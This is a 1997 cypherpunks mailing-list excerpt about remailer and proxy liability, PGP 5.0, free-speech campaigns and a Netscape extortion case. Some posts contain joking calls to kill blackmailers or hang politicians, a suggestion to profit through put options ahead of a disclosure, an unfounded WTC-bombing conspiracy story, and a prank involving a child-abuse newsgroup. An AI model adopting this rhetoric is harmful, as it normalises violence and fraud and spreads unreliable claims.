100MB mailbox in a typical corporate marketdroid environment.
If someone steals my Eudora mailboxes, they'll need to snarf a few MB
of accumulated mail (though much of the good stuff will be saved
in files), but even if they only get part of the file, it's readable.
Someone who steals my MSMAIL.MMF will get 100+MB of noise,
hiding a relatively small amount of signal, and if they only get
part of it before losing the connection, it'll probably be corrupt.

[*Actually, my MSMAIL.MMF _is_ corrupted - MSMail has a self-repair /
garbage collector feature enabled by hitting magic keys at startup,
which on my mailbox is a bit overenthusiastic -- it deletes all the
attachments, leaving only the headers/text of messages and the
icons for the now-missing attachments.  So I can't use it...]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From PR.Dept.at.SUBMITKING at keepmailing.com  Mon Jun 16 12:02:45 1997
From: PR.Dept.at.SUBMITKING at keepmailing.com (PR.Dept.at.SUBMITKING at keepmailing.com)
Date: Tue, 17 Jun 1997 03:02:45 +0800
Subject: Congratulations!  We found your site!
Message-ID: <199706161821.OAA28029@199706161821.OAA28029>



Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING






From stewarts at ix.netcom.com  Mon Jun 16 12:06:37 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 03:06:37 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: 
Message-ID: <3.0.2.32.19970616100719.00751b44@popd.ix.netcom.com>



At 07:10 PM 6/13/97 -0700, Tim May wrote:
>>Awwww, Caaa'monnn.
>>You mean they can license handguns, but not reporters???

>Indeed, it is strange. What part of "Congress shall make no law" 
>do they not understand?

the part between "Congress shall make no law" and "shall not be infringed"...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Mon Jun 16 12:06:37 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 03:06:37 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: 
Message-ID: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>



At 08:59 PM 6/13/97 -0700, you wrote:
>This is why we need more remailers, and why it's good that you posted
>anonymously. The proper thing to do is to be "shocked, shocked!" that
>anything illegal is happening on your server, 
	... your ecash, sir ....
>immediately shut it down (counting on the network to be self-healing
>with the help of an enhanced remailer list), and offer to cooperate fully. 
>Unfortunately, you don't keep logs, so you wouldn't really be able to help
> (damn!).

Shutting it down would be bad - that gives them an easy denial of service
attack (though better to have them use that attack than child porn....)

Put a warning on the front page that it's NOT to be used for
illegal purposes etc., phrased seriously, complaining that you'll
have to shut it down if people keep abusing it...
And make sure your proxy server only accepts encrypted requests,
so that eavesdropping doesn't gain much.

The hard problem is getting enough people to run the things.
While the _right_ solution is probably to put anonymous web proxies
in the distribution versions of Apache or Stronghold, so that there
are thousands of them, the alternative is convincing people to run them.
Unlike email remailers, where the big annoyance is dealing with spam,
the main problem with running web proxies is just volume.
Adding a semaphore or rate limiter to the proxy might help,
and I've heard some people have blocked large GIFs - but you
still want to handle downloads of contraband software,
which means accepting and caching multi-megabyte code.

I suppose it would be interesting for anonymous web proxies
to generate cover traffic as well - periodically browse sites like
Radikal mirrors and other contraband.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From declan at well.com  Mon Jun 16 12:36:32 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 17 Jun 1997 03:36:32 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 10:10 -0700 6/16/97, Tim May wrote:
>Some of you, including Declan, have read too much in my comments. I did not
>say he _had_ sold out, I said in several places there is a well-known
>danger of becoming assimilated by the Washington system. Reread what I said.
>
>(By the way, I've never suggested Declan would lose his ideological
>bearings. Democrats and Republicans who become assimilated remain true to
>their roots, but they see everything as part of a larger system, a
>negotiation. They lose their ability to see in outside the Beltway simple
>terms. The giveaway will be if and when Declan begins to say that things
>are not so simple.)

What I found interesting about Tim's comments above is how he neglects to
mention libertarians. Certainly he realizes my "ideological bearings" are
much closer to libertarianism than conservatism or modern liberalism.

Do the folks at the Cato Institute, the Competitive Enterprise Institute,
IFJ, IHS, or AEI "lose their ability to see in simple terms?" I suggest not.

-Declan

PS: Details about negotiations and who's-backing-what-bill and what the
political tradeoffs will be are often astoundingly complex. But the
underlying principles remain crystal-clear: government out of our private
lives.








From tcmay at got.net  Mon Jun 16 13:16:37 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 04:16:37 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 12:01 PM -0700 6/16/97, Declan McCullagh wrote:

>What I found interesting about Tim's comments above is how he neglects to
>mention libertarians. Certainly he realizes my "ideological bearings" are
>much closer to libertarianism than conservatism or modern liberalism.

Now this is _really_ reading too much into things. As with several of your
"in the paragraphs Tim chose to elide" sorts of comments, you are imputing
motives that aren't there.

I mentioned Republicans and Democrats--and not Black Panthers,
Libertarians, Maoists, and Galambosians, for example--becuase these two
factions account for 99% of those in D.C., reporters included.

As to why I "elide" paragraphs, I do it as I always do it, to save space
and to adhere to the "never quote more than a half page of text" rule of
thumb.

(Something I wish more writers would do. When I see a screenful of quoted
material, I'll usually at least scroll down to the next page: if more stuff
is quoted, I'm often likely to just hit the "D" key.)

I never set out to elide material so as to misrepresent people. Granted,
there are some who think their point is automatically subtracted from if
every golden word is not quoted, but, like I said, I try to begin my
response to a post before a screenfull has been quoted, with the quoted
material only serving as a reminder to the reader of what the other person
had already said.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Mon Jun 16 13:22:16 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 17 Jun 1997 04:22:16 +0800
Subject: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706161942.VAA03680@basement.replay.com>




Drug Monger wrote:
>> Wow. I actually understood all that...
>> The scent of the cogs is unmistakable hereabouts.
>
>  Hetting and Young both pass on a variety of highly informative and
>exceedingly normal, reality-based material for the most part. Then,
>out of the blue, they post Taoist-Kerouac, acid-flashback missives
>which indicate that the Orphan Zombies roaming the computer Nether-
>world have not yet managed to steal their souls.
>  Since John and Bob's psyche-meanderings often seem to occur within
>the same time-frame I have concluded that they both have the same
>drug connection.
>
>  So...did you bring enough for everybody?

That's the nice thing about data-based drugs -
just tear open this hypercard and look at the nice binary patterns,
and you can make lots of copies for your friends.

Do _you_ have the hacker nature?

Do you _still_ have the hacker nature?

                 Raven










From stewarts at ix.netcom.com  Mon Jun 16 13:26:27 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 17 Jun 1997 04:26:27 +0800
Subject: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <3.0.2.32.19970616124507.0075f0d0@popd.ix.netcom.com>



>>> "We don't negotiate with terrorists"

>>"Terrorism" probably doesn't apply, since his aim was not political.
>>.... I think blackmail is a more appropriate term.

On the other hand, as Agatha Christie occasionally points out,
the _only_ safe thing to do with blackmailers is kill them...

:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Mon Jun 16 13:46:59 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 04:46:59 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: 
Message-ID: 



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:
>At 08:59 PM 6/13/97 -0700, you wrote:
>>This is why we need more remailers, and why it's good that you posted
>>anonymously. The proper thing to do is to be "shocked, shocked!" that
>>anything illegal is happening on your server,
>	... your ecash, sir ....
>>immediately shut it down (counting on the network to be self-healing
>>with the help of an enhanced remailer list), and offer to cooperate fully.
>>Unfortunately, you don't keep logs, so you wouldn't really be able to help
>> (damn!).
>
>Shutting it down would be bad - that gives them an easy denial of service
>attack (though better to have them use that attack than child porn....)

Another strategy, besides the "I'm shocked, simply shocked, and I'll shut
it down immediately, sir!" cave-in, is to say this:

"I operate an electronic mail service. I abide by the terms of the
Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
monitor the contents of the mail flowing in my system. To do so would be a
violation of the ECPA. And besides the ECPA, such inspection would be a
violation of the property rights of my users.

"I take a hands off approach to uses of my mail  service, as the ECPA
expects me to do, and what customers are sending is none of my concern.

"If you have a problem with something sent by one of my customers, or wish
to question him or her about the contents of their mail, I suggest you
obtain proper court orders and contact him or her directly.

"Whether you can identify him or her is your problem, not mine."


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon Jun 16 13:51:05 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 04:51:05 +0800
Subject: Avoid loud warnings--it only attracts disruptors
In-Reply-To: 
Message-ID: 



At 10:21 AM -0700 6/16/97, Bill Stewart wrote:

>Put a warning on the front page that it's NOT to be used for
>illegal purposes etc., phrased seriously, complaining that you'll
>have to shut it down if people keep abusing it...

The problem here is that this just makes shutting down the remailera more
attractive target for malicious persons, pranksters, and other such folks.
Like waving a red flag in front of a bullshitter.

I suspect some of the remailers which have been shut down were hit by folks
just trying to see if they could do it.

Such loud warnings are unneeded by ordinary members of a community, and
will be ignored or even deliberately tested or flouted by certain others.
As with Sandy's imposition of his notions of "civility" and "comaraderie,"
the predictable effect was testing of the limits.


(I admit to having a perverse side, too. No suprise to many of you. Several
years ago I posted some binaries to the brand-new newsgroup,
"alt.binaries.pictures.erotica.children". I claimed they were some hot
lolitas, though in fact they were misc. PGP noise, with hidden text
messages running down some of the diagonals, to get me off the hook if some
DA claimed they were real pictures and demanded the decryption key. I
wanted to shake things up. Got a lot of outraged responses, too.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Mon Jun 16 14:06:46 1997
From: alano at teleport.com (Alan)
Date: Tue, 17 Jun 1997 05:06:46 +0800
Subject: Avoid loud warnings--it only attracts disruptors
In-Reply-To: 
Message-ID: 



On Mon, 16 Jun 1997, Tim May wrote:

> (I admit to having a perverse side, too. No suprise to many of you. Several
> years ago I posted some binaries to the brand-new newsgroup,
> "alt.binaries.pictures.erotica.children". I claimed they were some hot
> lolitas, though in fact they were misc. PGP noise, with hidden text
> messages running down some of the diagonals, to get me off the hook if some
> DA claimed they were real pictures and demanded the decryption key. I
> wanted to shake things up. Got a lot of outraged responses, too.)

Were they outraged that it was not kiddy porn or outraged that they could
not get to it or outraged because you claimed it was kiddy porn?  (I tend
to direct people to
http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
sort of stuff...)  

Makes you wonder what they were doing reading that group in the first
place...

alano at teleport.com | "Those who are without history are doomed to retype it."






From azur at netcom.com  Mon Jun 16 14:21:33 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 17 Jun 1997 05:21:33 +0800
Subject: Homer on Terrorism
In-Reply-To: 
Message-ID: 



>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

I agree.  It seems a bit like blackmail to me.  These 'consultants' would
have better off having friends buy put options on Netscape stock prior to
the phone call.  Then if Netscape won't pay their price they get the money
from the market when they make the information public, including the source
code.  Spare me the insider trading rants.

--Ste5e


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From janke at unixg.ubc.ca  Mon Jun 16 14:27:57 1997
From: janke at unixg.ubc.ca (Leonard Janke)
Date: Tue, 17 Jun 1997 05:27:57 +0800
Subject: [ANNOUNCE] PGP 5.0 Freeware is available from MIT
In-Reply-To: <199706161755.NAA01250@road-warrior-177.mit.edu>
Message-ID: 



"Jeffrey I. Schiller"  writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> To: The PGP Community
> From: Jeffrey I. Schiller 
> Subject: PGP 5.0 Freeware is available from MIT
> 
> I am pleased to announce the availability of PGP 5.0 Freeware from the
> MIT Web Site. [...]

Yuck! I got a "bad signature" warning when checking the signature. The sha1
hash of what I downloaded is

4da86001a5bcdf5a03e5adcda5e6d8fe76a11920  pgpinstall.exe

What is the sha1 hash of what you put up?

Leonard







From declan at well.com  Mon Jun 16 14:32:36 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 17 Jun 1997 05:32:36 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
Message-ID: 





---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 14:04:22 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: ACLU/EPIC: First Amendment Pledge Campaign



---------- Forwarded message ----------
Date: Mon, 16 Jun 1997 16:50:00 -0400
From: Dave Banisar 
To: press 
Subject: Press Release: First Amendment Pledge Campaign


                          JOINT PRESS RELEASE:
                     American Civil Liberties Union
                Electronic Privacy Information Center

               ACLU, EPIC Call on Congress and Clinton to
                   "Take the First Amendment Pledge"


FOR IMMEDIATE RELEASE
Monday, June 16, 1997

Contact:

Emily Whitfield, ACLU Nat'l Office
(212) 549-2566
emilyaclu at aol.com

David Sobel, EPIC
(202) 544-9240
sobel at epic.org

NEW YORK -- As the nation awaits a Supreme Court decision on the
future of free speech on the Internet, the American Civil Liberties
Union and the Electronic Privacy Information Center today launched
www.firstamendment.org, a website dedicated to upholding the First
Amendment in cyberspace.

The groups called on President Clinton and members of Congress to be
among the first to "Take the First Amendment Pledge" and cease any
further attempts to draft legislation to censor the Internet in the
event the Supreme Court upholds a lower court decision striking down
government regulation of the Internet as unconstitutional.

"In our view there is no such thing as a 'Constitution-proof' law
criminalizing so-called indecency in cyberspace," said Chris Hansen,
ACLU Senior Staff Attorney and lead counsel in Reno v. ACLU.

The launch of the website comes as Clinton Administration officials
have begun publicly discussing a shift in policy on Internet
regulation, saying that "industry self-regulation" -- not laws
criminalizing certain Internet communications -- is the solution to
shielding minors from online "indecency."

Hansen added that if the Administration had indeed adopted such a
policy, it is obligated to announce it to the Court before they rule
in the case. "If the report in this morning's New York Times is
indeed true, it would appear that the Clinton Administration is
preparing to take the 'Pledge,'" Hansen said.

Reno v. ACLU challenges censorship provisions of the Communications
Decency Act aimed at protecting minors by criminalizing so-called
"indecency" on the Internet. The ACLU, along with EPIC and 18 other
plaintiffs, filed a challenge to the law the day it was enacted. A
ruling on the case could come as soon as Thursday, June 19, the next
scheduled day for release of Supreme Court decisions.

"Attempts to censor the Net will not end with the Supreme Court
decision ," said David Sobel, legal counsel for EPIC and co- counsel
in Reno v. ACLU. "Proponents of Internet content regulation have
already indicated their desire to take a 'second bite of the apple'
if the Communications Decency Act is struck down."

In anticipation of such new attempts at online censorship, visitors
to www.firstamendment.org are invited to "Take the First Amendment
Pledge," which reads: "I pledge to support free speech and free
expression for all Americans and to urge Congress to uphold the
First Amendment to the United States Constitution and pass no law
abridging our freedom of speech."

Online users can capture the "First Amendment Pledge" GIF (graphic
image file) for placement on their own website. Other features
planned for the site include an "action alert" that informs users of
legislative threats to the First Amendment and allows them to
instantly e-mail or fax their member of Congress, and an online
"postcard" that can be e-mailed to friends, relatives and elected
officials, urging them to "Take the Pledge."

The ACLU is a nationwide, non-partisan organization dedicated to
defending and preserving the Bill of Rights for all individuals
through litigation, legislation and public education. The ACLU can
be found online at www.aclu.org and through America Online at
keyword: ACLU.

EPIC is a non-profit, education and research organization based in
Washington, D.C. EPIC examines civil liberties and privacy issues
that arise in new electronic media. It maintains a website at
www.epic.org.


..










From declan at well.com  Mon Jun 16 14:35:54 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 17 Jun 1997 05:35:54 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



At 12:41 -0700 6/16/97, Tim May wrote:
>As to why I "elide" paragraphs, I do it as I always do it, to save space
>and to adhere to the "never quote more than a half page of text" rule of
>thumb.

Fair enough. I was being overly sensitive.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From whgiii at amaranth.com  Mon Jun 16 15:17:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 06:17:00 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: 
Message-ID: <199706162137.QAA23890@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/16/97 
   at 02:04 PM, Declan McCullagh  said:

>                          JOINT PRESS RELEASE:
>                     American Civil Liberties Union
>                Electronic Privacy Information Center

>               ACLU, EPIC Call on Congress and Clinton to
>                   "Take the First Amendment Pledge"

The sad thing is that we need them to do it a second time. They already
made this pledge once before, it's called the oath of office.

If the ingore it after the first time why should they honor it a second
time?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Wyuo9Co1n+aLhhAQHH3QP8CiBUvqJw8i2x1MbpLt9IkVVlYSgURT7g
8dfPqdB6UCfueWd5fVs/MxiAvoZlf07JyxCeC34z0LjofR2DTgNEQldOeiViwUm+
446L4+FZJtQ2GwqkimS79vsvLTnlS0rf03jQAZAfvbxlz2SkfcbeeHFZU4Gs1+Rj
A6o9tLQmaEU=
=JUBs
-----END PGP SIGNATURE-----






From tcmay at got.net  Mon Jun 16 15:25:33 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 06:25:33 +0800
Subject: Avoid loud warnings--it only attracts disruptors
In-Reply-To: 
Message-ID: 



At 1:45 PM -0700 6/16/97, Alan wrote:
>On Mon, 16 Jun 1997, Tim May wrote:
>> (I admit to having a perverse side, too. No suprise to many of you. Several
>> years ago I posted some binaries to the brand-new newsgroup,
>> "alt.binaries.pictures.erotica.children". I claimed they were some hot
>> lolitas, though in fact they were misc. PGP noise, with hidden text
>> messages running down some of the diagonals, to get me off the hook if some
>> DA claimed they were real pictures and demanded the decryption key. I
>> wanted to shake things up. Got a lot of outraged responses, too.)
>
>Were they outraged that it was not kiddy porn or outraged that they could
>not get to it or outraged because you claimed it was kiddy porn?  (I tend
>to direct people to
>http://www.thecorporation.com/oneoffs/96/kittyporn/index.html for that
>sort of stuff...)

Some of them said I should be imprisoned for posting erotic images of
children. And some of them wanted me to send them the proper decryption key.

And some even claimed, after I revealed that the supposed GIF images were
not real, that I was nevertheless guilty of "making a market in child
porn." As we've been discussing lately, a classic case of "thoughtcrime."

>Makes you wonder what they were doing reading that group in the first
>place...

No doubt they were "researchers." Got to study those nekkid pictures
really, really carefully, with a magnifyng glass....yeah, "researchers."
Just like "se7en."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Mon Jun 16 15:36:55 1997
From: jya at pipeline.com (John Young)
Date: Tue, 17 Jun 1997 06:36:55 +0800
Subject: Homer on Terrorism
Message-ID: <1.5.4.32.19970616214737.0084fbb8@pop.pipeline.com>



Steve Schear wrote:

>I agree.  It seems a bit like blackmail to me.  These 'consultants' would
>have better off having friends buy put options on Netscape stock prior to
>the phone call.  Then if Netscape won't pay their price they get the money
>from the market when they make the information public, including the source
>code.  Spare me the insider trading rants.

Good point. Perhaps CNNfn and PC Rag insiders did just that. Maybe
even got a few for CaboComm's account. Maybe the insiders at NSCP 
dumped a few after the negotiations tanked. Screaming "terrorism" for
smoke.

Isn't it conventional wisdom that  the market is churned with with blackmail, 
greenmail, "terrorist" slaughter of W&O and such, laying down "free market"
smoke.

Story from Federal pen here is that the WTC bomb aimed to topple the pile 
onto World Financial Center across the road where the plushest players 
squat on gold but job-lock TLAs running the op said no-no, just terrify the 
fats into upping our CT-consulting fees and budgets, like IRA @ London City.

Inmate Ian was heard to warn, "Worked like a charm, din it: now shut your hole 
Youseff about that salted laptop fabbed up St Andrews, Great Malvern."
 







From jim.burnes at ssds.com  Mon Jun 16 15:40:45 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 17 Jun 1997 06:40:45 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: <199706162137.QAA23890@mailhub.amaranth.com>
Message-ID: 





On Mon, 16 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In , on 06/16/97 
>    at 02:04 PM, Declan McCullagh  said:
> 
> >                          JOINT PRESS RELEASE:
> >                     American Civil Liberties Union
> >                Electronic Privacy Information Center
> 
> >               ACLU, EPIC Call on Congress and Clinton to
> >                   "Take the First Amendment Pledge"
> 
> The sad thing is that we need them to do it a second time. They already
> made this pledge once before, it's called the oath of office.
> 
> If the ingore it after the first time why should they honor it a second
> time?
> 

Bravo!

Couldn't have said it better myself.  What do they do with 
presidents who violate their oath of office?   

Would anyone notice?

Jim Burnes







From tcmay at got.net  Mon Jun 16 15:44:38 1997
From: tcmay at got.net (Tim May)
Date: Tue, 17 Jun 1997 06:44:38 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>
Message-ID: 



I want to elaborate on a point I made earlier:

At 1:11 PM -0700 6/16/97, Tim May wrote:

>"I operate an electronic mail service. I abide by the terms of the
>Electronic Communications Privacy Act,  the ECPA, and I do not inspect or
>monitor the contents of the mail flowing in my system. To do so would be a
>violation of the ECPA. And besides the ECPA, such inspection would be a
>violation of the property rights of my users.

It's important to realize that "scienter" (knowledge) of some criminal act
is an important part of the law in the United States.

We don't hold the owners or operators of a storage facility, like a
U-Stor-it, responsible for illegal materials stored, be they drugs,
explosives, guns, pornography, crypto, dead bodies, or other illegal or
contraband things. We also don't expect operators of such facilities to
inspect items going into storage. (I'm _not_ saying customers have some
right of privacy, I'm saying that operators make contractual arrangements,
and inspecting contents is a time-consuming thing which they'd rather not
do, and which their customers would rather not see done. What law
enforcement might want is another matter, as it usually is, and for this we
have a thing called "the court system.)

Likewise, we don't hold hotel owners or clerks responsible for the many,
many crimes and misdeeds which hotel rooms are notorious for. Hotel rooms
are the favored locations for prostitution, narcotics deals, plotting of
crimes, etc.

(In both of the above examples, it is possible to imagine circumstances in
which a storage facility or hotel is charged with complicity in one way or
another. Sometimes hotels which encourage prostitution are hit with various
charges, including "public nuisance" laws. But these do not affect the more
basic point that scienter is expected before a crime is charged, and that a
kind of "containerization" of property rights means that the temporary
users of some property are responsible, not the actual owner or leasor.)

The renter of a car or truck is not responsible for the contents. The
driver of a truck is not responsible for illegal substances contained in
packages that are not his and that he had no knowledge about, etc. Federal
Express is not responsible if porn is sent in violation of some law.

(Yes, there are some exceptions. Nuisance laws, negligence laws, etc.
Again, not related to the central point. Some believe remailers could be
hit under the nuisance laws, but I am skeptical of this....publishers
cannot be shut down because they are a "nuisance," so far as I know. Lots
of things to consider here.)

I think this line of reasoning, that the "common law" in Western countries
is that owners and leasors are not the one responsible for crimes committed
using their property and services (unless they are knowledgeable about the
crimes, which is a separable issue), is straightforwardly applicable to the
remailer issue.

Besides, the ECPA, as noted, makes it an explicit crime for mail services
to inspect the contents of mail except under specified or agreed-upon
conditions.

--Tim may



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Mon Jun 16 15:46:28 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 17 Jun 1997 06:46:28 +0800
Subject: ACLU/EPIC: First Amendment Pledge Campaign
In-Reply-To: 
Message-ID: <199706162213.RAA24347@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/16/97 
   at 05:07 PM, Jim Burnes  said:



>On Mon, 16 Jun 1997, William H. Geiger III wrote:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In , on 06/16/97 
>>    at 02:04 PM, Declan McCullagh  said:
>> 
>> >                          JOINT PRESS RELEASE:
>> >                     American Civil Liberties Union
>> >                Electronic Privacy Information Center
>> 
>> >               ACLU, EPIC Call on Congress and Clinton to
>> >                   "Take the First Amendment Pledge"
>> 
>> The sad thing is that we need them to do it a second time. They already
>> made this pledge once before, it's called the oath of office.
>> 
>> If the ingore it after the first time why should they honor it a second
>> time?
>> 

>Bravo!

>Couldn't have said it better myself.  What do they do with 
>presidents who violate their oath of office?   

>Would anyone notice?

IMHO I think that we need a trial, similar to the Nuremberg Trials after
WWII, for the politicians in DC for "High Crimes Against the Constitution
of the United States".

It could even be hyped as a "jobs" program for DC, just think of all the
gallows that would need to be built. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6W7MI9Co1n+aLhhAQGsUAP+LCnVELNsdPO/0cvycnK6KOBs/bMAZ5k5
pro6IqZd3bsPbPskcOxEXJme0LY3pxazWDN9VLJyaPiM79T7AdibmZc4568uzcrr
AKaSWLH3L3DsdMRauvR5M669j+mjpDB4NKANOfrubtXsE9KFaAoUNQp/nSxhWHU/
+fmbyxzs79w=
=Ays5
-----END PGP SIGNATURE-----






From abd at cdt.org  Mon Jun 16 15:47:02 1997
From: abd at cdt.org (Alan Davidson)
Date: Tue, 17 Jun 1997 06:47:02 +0800
Subject: IBM sues critics?
In-Reply-To: <199706161623.LAA20012@mailhub.amaranth.com>
Message-ID: 



